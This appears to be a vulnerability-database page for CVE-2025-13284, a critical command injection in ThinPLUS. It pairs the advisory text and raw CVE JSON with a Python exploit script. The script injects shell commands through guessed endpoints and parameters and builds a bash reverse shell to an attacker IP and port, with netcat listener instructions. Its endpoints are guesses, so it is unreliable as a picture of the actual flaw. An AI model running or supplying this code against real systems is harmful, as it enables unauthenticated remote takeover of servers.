Security Vulnerability Report
中文
CVE-2025-13284 CVSS 9.8 CRITICAL

CVE-2025-13284

Published: 2025-11-17 04:15:55
Last Modified: 2026-04-15 00:35:42

Description

ThinPLUS developed by ThinPLUS has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThinPLUS 全部版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13284 PoC - ThinPLUS OS Command Injection Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys def exploit(target_url, command="whoami"): """ Exploit CVE-2025-13284 - OS Command Injection in ThinPLUS Args: target_url: Base URL of the vulnerable ThinPLUS application command: OS command to execute on the target system Returns: Response from the vulnerable server """ # Common vulnerable endpoint patterns for ThinPLUS endpoints = [ "/api/system/ping", "/api/exec", "/ping", "/cgi-bin/system", "/admin/system/ping" ] # Payload construction using command injection techniques # Using semicolon to chain commands payload = f"127.0.0.1;{command}" for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint # Try common parameter names params = { 'host': payload, 'ip': payload, 'target': payload, 'address': payload } for param_name, param_value in params.items(): try: response = requests.get(url, params={param_name: param_value}, timeout=10) # Check if command was executed if response.status_code == 200 and (command in response.text or len(response.text) > 0): print(f"[+] Potential vulnerability found at: {url}") print(f"[+] Parameter: {param_name}") print(f"[+] Response:\n{response.text[:500]}") return response except requests.exceptions.RequestException as e: continue except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return None def reverse_shell(target_url, attacker_ip, attacker_port): """ Generate a reverse shell payload for CVE-2025-13284 Args: target_url: URL of vulnerable ThinPLUS application attacker_ip: Attacker's IP address for reverse shell attacker_port: Attacker's listening port """ # Generate bash reverse shell command reverse_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # URL encode the command import urllib.parse encoded_cmd = urllib.parse.quote(reverse_cmd) payload = f"127.0.0.1;{reverse_cmd}" print(f"[*] Reverse shell payload: {payload}") print(f"[*] Set up listener on {attacker_ip}:{attacker_port}") print(f"[*] Example: nc -lvnp {attacker_port}") return payload if __name__ == "__main__": if len(sys.argv) < 2: print("Usage:") print(" python cve-2025-13284.py <target_url> [command]") print(" python cve-2025-13284.py <target_url> reverse <attacker_ip> <port>") print("\nExample:") print(" python cve-2025-13284.py http://vulnerable-server:8080 whoami") print(" python cve-2025-13284.py http://vulnerable-server:8080 reverse 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] if len(sys.argv) >= 3: if sys.argv[2] == "reverse": if len(sys.argv) < 5: print("[-] Please provide attacker IP and port") sys.exit(1) attacker_ip = sys.argv[3] attacker_port = sys.argv[4] reverse_shell(target, attacker_ip, attacker_port) else: command = sys.argv[2] exploit(target, command) else: exploit(target, "whoami")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13284", "sourceIdentifier": "[email protected]", "published": "2025-11-17T04:15:55.020", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ThinPLUS developed by ThinPLUS has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10513-0d82b-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10512-e196b-1.html", "source": "[email protected]"}]}}